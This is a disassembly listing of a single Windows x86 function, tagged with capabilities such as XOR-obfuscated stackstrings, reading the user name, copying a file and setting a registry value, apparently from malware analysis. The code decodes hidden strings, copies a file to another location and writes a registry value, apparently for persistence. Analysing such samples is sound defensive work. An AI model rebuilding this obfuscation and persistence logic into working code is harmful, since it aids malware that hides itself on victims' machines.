Function at 0x417ea0
Capabilities:
Contain obfuscated stackstrings
Copy file
Encode data using xor
Get session user name
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507e82
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2f4
push ebx
xor ebx, ebx
xor ecx, ecx
push esi
mov dword [ebp - 0x30], ebx
push edi
mov dword [ebp - 0x14], 0x8f8e89b5
mov dword [ebp - 0x10], 0x100bca6
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 6
jb 0x417ed6
push 0x541d9c
lea edx, [ebp - 0x14]
mov byte [ebp - 0xd], bl
lea ecx, [ebp - 0xf4]
call fcn.0046d1b0
add esp, 4
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x13], 0xbca8bca0
mov word [ebp - 0xf], 0xa2
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x417f17
push 0x541d9c
lea edx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x1fc]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x13], 0xbaaeb8aa
mov word [ebp - 0xf], 0xa3
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x417f56
push 0x541d9c
lea edx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x124]
call fcn.0046d1b0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xdc]
call fcn.00416aa0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x300]
push 0x104
push 0
push eax
mov dword [ebp - 0xc4], 0x104
call fcn.004e1ab0
add esp, 0x10
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x300]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x1a], 0xabaaa7ab
xor ecx, ecx
mov dword [ebp - 0x16], 0xbebdada7
mov dword [ebp - 0x12], 0xb3a5b1ab
mov word [ebp - 0xe], 0x100
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xc
jb 0x417fe0
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xd], 0
push eax
call fcn.004ee4e1
mov edx, eax
add esp, 4
mov edi, closesocket
test edx, edx
je 0x418328
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418026
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x54]
call fcn.00402ea0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x26]
mov word [ebp - 0x26], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x24], 0
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418050
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0046b590
cmp dword [ebp - 0xe0], 0xf
lea eax, [ebp - 0xf4]
jbe 0x41807b
mov eax, dword [ebp - 0xf4]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x54]
push eax
call fcn.0046b590
cmp dword [ebp - 0x40], 0xf
lea ecx, [ebp - 0x54]
jbe 0x418096
mov ecx, dword [ebp - 0x54]
call fcn.0040b340
test al, al
jne 0x4180af
lea ecx, [ebp - 0x54]
call fcn.004168e0
test al, al
je 0x4182de
mov dword [ebp - 0x29], 0x8f918dc9
xor ecx, ecx
mov word [ebp - 0x25], 0x100
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 4
jb 0x4180c0
mov byte [ebp - 0x24], 0
mov word [ebp - 0xb9], 0x5c
mov byte [ebp - 0xb7], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xb9]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4180f0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x418f07
cmp dword [ebp - 0x40], 0xf
lea eax, [ebp - 0x54]
jbe 0x418114
mov eax, dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0xb9]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x10c]
call fcn.00470ea0
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x30], 4
push eax
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0x154]
call fcn.0046d2f0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x29]
push ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x154]
call fcn.00402c80
mov ebx, 4
mov dword [ebp - 0x30], ebx
and ebx, 0xfffffffb
mov dword [ebp - 0x30], ebx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x10c]
call fcn.00402c80
sub esp, 0x18
lea eax, [ebp - 0x6c]
mov ecx, esp
mov dword [ebp - 0xc0], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x4182d2
cmp dword [ebp - 0x58], 0xf
lea eax, [ebp - 0x6c]
jbe 0x4181c8
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xc8], 0xf
lea ecx, [ebp - 0xdc]
jbe 0x4181dd
mov ecx, dword [ebp - 0xdc]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4182d2
mov dword [ebp - 0x9b], 0x9e8f87b4
xor ecx, ecx
mov dword [ebp - 0x97], 0x8b9f8d9c
mov dword [ebp - 0x93], 0x9198bdb3
mov dword [ebp - 0x8f], 0x99869b81
mov dword [ebp - 0x8b], 0xada58c91
mov dword [ebp - 0x87], 0x91999292
mov dword [ebp - 0x83], 0x415d7388
mov dword [ebp - 0x7f], 0x63777676
mov dword [ebp - 0x7b], 0x6f5f7c69
mov dword [ebp - 0x77], 0x61647f79
mov dword [ebp - 0x73], 0x67434c61
mov word [ebp - 0x6f], 0x7d
mov byte [ebp - 0x6d], 1
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 0x2d
jb 0x418260
lea eax, [ebp - 0x28]
mov byte [ebp - 0x6d], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x9b]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4182d2
cmp dword [ebp - 0x58], 0xf
lea eax, [ebp - 0x6c]
jbe 0x4182a2
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xe0], 0xf
lea ecx, [ebp - 0xf4]
jbe 0x4182b7
mov ecx, dword [ebp - 0xf4]
push dword [ebp - 0x5c]
push eax
push 1
push 0
push ecx
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x6c]
call fcn.00402c80
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x418316
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41830c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f0c
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov dword [ebp - 0x37], 0xbaa4adb3
xor ecx, ecx
mov word [ebp - 0x33], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 4
jb 0x418337
lea eax, [ebp - 0x37]
mov byte [ebp - 0x32], 0
push eax
call fcn.004ee4e1
mov esi, eax
mov dword [ebp - 0x1d], 0xbfa5a4a6
add esp, 4
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0x19], 0xbdbfa9b8
xor ecx, ecx
mov dword [ebp - 0x15], 0xb4bea2bf
mov dword [ebp - 0x11], 0xb0b8ba
mov byte [ebp - 0xd], 1
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xf
jb 0x418380
lea eax, [ebp - 0x1d]
mov byte [ebp - 0xd], 0
push eax
call fcn.004ee4e1
mov edx, eax
add esp, 4
test edx, edx
je 0x418bdf
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4183c1
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x54]
call fcn.00402ea0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x26]
mov word [ebp - 0x26], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4183e8
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0046b590
cmp dword [ebp - 0x110], 0xf
lea eax, [ebp - 0x124]
jbe 0x418413
mov eax, dword [ebp - 0x124]
push dword [ebp - 0x114]
lea ecx, [ebp - 0x54]
push eax
call fcn.0046b590
cmp dword [ebp - 0x40], 0xf
lea ecx, [ebp - 0x54]
jbe 0x41842e
mov ecx, dword [ebp - 0x54]
call fcn.0040b340
test al, al
jne 0x41848d
cmp dword [ebp - 0x40], 0xf
lea edx, [ebp - 0x54]
jbe 0x418443
mov edx, dword [ebp - 0x54]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418460
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x6c]
call fcn.00402ea0
mov byte [ebp - 4], 0xc
or ebx, 1
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x30], ebx
call fcn.004168e0
mov byte [ebp - 0x31], 0
test al, al
je 0x418491
mov byte [ebp - 0x31], 1
mov dword [ebp - 4], 0xb
test bl, 1
je 0x4184e9
and ebx, 0xfffffffe
mov dword [ebp - 0x30], ebx
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x4184d7
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4184cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f11
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp byte [ebp - 0x31], 0
je 0x418b8f
mov dword [ebp - 0x12], 0x8f918dc9
xor ecx, ecx
mov word [ebp - 0xe], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x12], al
inc ecx
cmp ecx, 4
jb 0x418502
mov byte [ebp - 0xd], 0
mov word [ebp - 0xbc], 0x5c
mov byte [ebp - 0xba], 0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xbc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418531
sub ecx, edx
mov edx, dword [ebp - 0x44]
sub edi, edx
cmp edi, ecx
jb 0x418f16
cmp dword [ebp - 0x40], 0xf
lea eax, [ebp - 0x54]
jbe 0x418553
mov eax, dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x10c]
call fcn.00470ea0
lea eax, [ebp - 0x124]
or ebx, 0x20
push eax
lea edx, [ebp - 0x10c]
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x154]
call fcn.0046d2f0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x12]
push ecx
mov edx, eax
lea ecx, [ebp - 0x13c]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x154]
call fcn.00402c80
and ebx, 0xffffffdf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10c]
call fcn.00402c80
sub esp, 0x18
lea eax, [ebp - 0x13c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x418b80
cmp dword [ebp - 0x128], 0xf
lea eax, [ebp - 0x13c]
jbe 0x41860a
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0xc8], 0xf
lea ecx, [ebp - 0xdc]
jbe 0x41861f
mov ecx, dword [ebp - 0xdc]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x418b80
mov dword [ebp - 0x89], 0xc8bba0c7
xor ecx, ecx
mov dword [ebp - 0x85], 0x8d9ec3cb
mov dword [ebp - 0x81], 0xa7beb8cf
mov dword [ebp - 0x7d], 0xd6acb8a1
mov dword [ebp - 0x79], 0xda958ad8
mov dword [ebp - 0x75], 0xb6bab5b3
mov dword [ebp - 0x71], 0x5553ba
mov byte [ebp - 0x6d], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x89], al
inc ecx
cmp ecx, 0x1b
jb 0x418671
mov byte [ebp - 0x6d], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0x9ec6c8c5
mov dword [ebp - 0x28], 0xcfcc85
mov byte [ebp - 0x24], 1
lea ebx, [ebx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 7
jb 0x4186a0
mov byte [ebp - 0x24], 0
xor ecx, ecx
mov dword [ebp - 0x15], 0x9ec6c8c5
mov dword [ebp - 0x11], 0xcfcc99
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 7
jb 0x4186c6
xor eax, eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4186f5
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402ea0
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0xb6], 0x9e818b94
mov dword [ebp - 0xb2], 0x9d869f8a
mov dword [ebp - 0xae], 0x8092dfcf
mov dword [ebp - 0xaa], 0x93819596
mov dword [ebp - 0xa6], 0xda9fd7d7
mov dword [ebp - 0xa2], 0xdea8aed4
mov word [ebp - 0x9e], 0xdd
mov byte [ebp - 0x9c], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xb6], al
inc ecx
cmp ecx, 0x19
jb 0x418760
lea eax, [ebp - 0x6c]
mov byte [ebp - 0x9c], 0
push eax
lea edx, [ebp - 0xb6]
lea ecx, [ebp - 0x184]
call fcn.0046d240
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x15]
push ecx
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.0046d100
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x13c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1e4]
call fcn.0046d2f0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x2c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0046d100
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x124]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1b4]
call fcn.0046d2f0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x89]
push ecx
mov edx, eax
lea ecx, [ebp - 0x10c]
call fcn.0046d100
add esp, 0x18
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1b4]
call fcn.00402c80
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x1cc]
call fcn.00402c80
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1e4]
call fcn.00402c80
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x16c]
call fcn.00402c80
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x184]
call fcn.00402c80
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x418885
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41887b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f1b
push ecx
push edx
call fcn.004dfaf3
add esp, 8
cmp dword [ebp - 0xfc], 0
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x5c], 0
setbe bl
mov dword [ebp - 0x58], 0xf
sub esp, 0x18
mov byte [ebp - 0x6c], 0
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1f
mov cl, bl
call fcn.00416b50
add esp, 0x18
mov dword [ebp - 0x8a], 0xc8aea4c7
mov dword [ebp - 0x86], 0x8d9ec3cb
xor ecx, ecx
mov dword [ebp - 0x82], 0xbebfbfcf
mov dword [ebp - 0x7e], 0xb8bab3bc
mov dword [ebp - 0x7a], 0x968bd7d7
mov dword [ebp - 0x76], 0xb9b4b4db
mov dword [ebp - 0x72], 0x565245b7
mov word [ebp - 0x6e], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 0x1c
jb 0x418910
mov byte [ebp - 0x6d], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0x9ec6c8c5
mov dword [ebp - 0x28], 0xcfcc85
mov byte [ebp - 0x24], 1
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 7
jb 0x418940
mov byte [ebp - 0x24], 0
xor ecx, ecx
mov dword [ebp - 0x15], 0x9ec6c8c5
mov dword [ebp - 0x11], 0xcfcc99
mov byte [ebp - 0xd], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 7
jb 0x418966
xor eax, eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418995
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402ea0
mov byte [ebp - 4], 0x21
xor ecx, ecx
mov dword [ebp - 0xb6], 0x9e818b94
mov dword [ebp - 0xb2], 0x9d869f8a
mov dword [ebp - 0xae], 0x8092dfcf
mov dword [ebp - 0xaa], 0x93819596
mov dword [ebp - 0xa6], 0xda9fd7d7
mov dword [ebp - 0xa2], 0xdea8aed4
mov word [ebp - 0x9e], 0xdd
mov byte [ebp - 0x9c], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xb6], al
inc ecx
cmp ecx, 0x19
jb 0x418a00
lea eax, [ebp - 0x6c]
mov byte [ebp - 0x9c], 0
push eax
lea edx, [ebp - 0xb6]
lea ecx, [ebp - 0x1b4]
call fcn.0046d240
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x15]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0046d100
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x13c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1e4]
call fcn.0046d2f0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x2c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.0046d100
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x124]
push ecx
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.0046d2f0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x8a]
push ecx
mov edx, eax
lea ecx, [ebp - 0x154]
call fcn.0046d100
add esp, 0x18
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x184]
call fcn.00402c80
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x16c]
call fcn.00402c80
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1e4]
call fcn.00402c80
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1cc]
call fcn.00402c80
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x1b4]
call fcn.00402c80
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x418b25
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418b1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f20
push ecx
push edx
call fcn.004dfaf3
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x154]
mov dword [ebp - 0x28], esp
mov ecx, esp
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
xor bl, bl
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
mov cl, bl
call fcn.00416b50
add esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x154]
call fcn.00402c80
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10c]
call fcn.00402c80
mov ebx, dword [ebp - 0x30]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x13c]
call fcn.00402c80
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x418bc7
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418bbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f25
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov esi, dword [ebp - 0xc0]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
test esi, esi
je 0x418e6d
xor eax, eax
mov ecx, esi
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418c00
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x6c]
call fcn.00402ea0
mov byte [ebp - 4], 0x2f
xor ecx, ecx
mov dword [ebp - 0x39], 0x9ec7b8aa
mov dword [ebp - 0x35], 0x1009c86
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 6
jb 0x418c27
mov byte [ebp - 0x32], 0
xor ecx, ecx
mov dword [ebp - 0x13], 0x8d889abb
mov word [ebp - 0xf], 0x8e
mov byte [ebp - 0xd], 1
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 5
jb 0x418c50
push 0x541d9c
lea edx, [ebp - 0x13]
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x16c]
call fcn.0046d1b0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x39]
push ecx
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x31
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x418c9c
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.0046b590
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x184]
call fcn.00402c80
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x16c]
call fcn.00402c80
mov dword [ebp - 0x27], 0x1008a90
xor ecx, ecx
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 2
jb 0x418cd0
cmp dword [ebp - 0x58], 0xf
lea eax, [ebp - 0x6c]
mov byte [ebp - 0x24], 0
jbe 0x418cee
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x27]
push ecx
push eax
call fcn.004e5920
mov esi, eax
add esp, 8
test esi, esi
je 0x418e23
call fcn.004df269
push 0
push 0x2710
push edx
push eax
call fcn.00504260
mov byte [ebp - 4], 0x33
test edx, edx
jg 0x418d43
jl 0x418d26
test eax, eax
jae 0x418d43
neg eax
lea ecx, [ebp - 0x187]
adc edx, 0
neg edx
push edx
push eax
call fcn.00473cc0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x418d52
push edx
push eax
lea ecx, [ebp - 0x187]
call fcn.00473cc0
mov ecx, eax
xor eax, eax
add esp, 8
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x187]
cmp ecx, eax
jne 0x418d87
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
jmp 0x418d99
lea eax, [ebp - 0x187]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x54]
call fcn.00402ea0
or ebx, 0x10
mov dword [ebp - 0x30], ebx
and ebx, 0xffffffef
mov dword [ebp - 0x30], ebx
mov dword [ebp - 4], 0x32
or ebx, 8
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0xf
jbe 0x418dbe
mov eax, dword [ebp - 0x54]
push esi
push dword [ebp - 0x44]
push 1
push eax
call fcn.004ed728
push esi
call fcn.004e91a8
and ebx, 0xfffffff7
add esp, 0x14
mov dword [ebp - 0x30], ebx
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x418e11
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f2a
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x418e5b
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f2f
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0xf
jbe 0x418eab
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418ea1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418f34
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x124]
call fcn.00402c80
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1fc]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf4]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004025a0
call fcn.004e4d70
call fcn.004e4d70
call fcn.004025a0
call fcn.004e4d70
call fcn.004e4d70
call fcn.004e4d70
call fcn.004e4d70
call fcn.004e4d70
call fcn.004e4d70
int3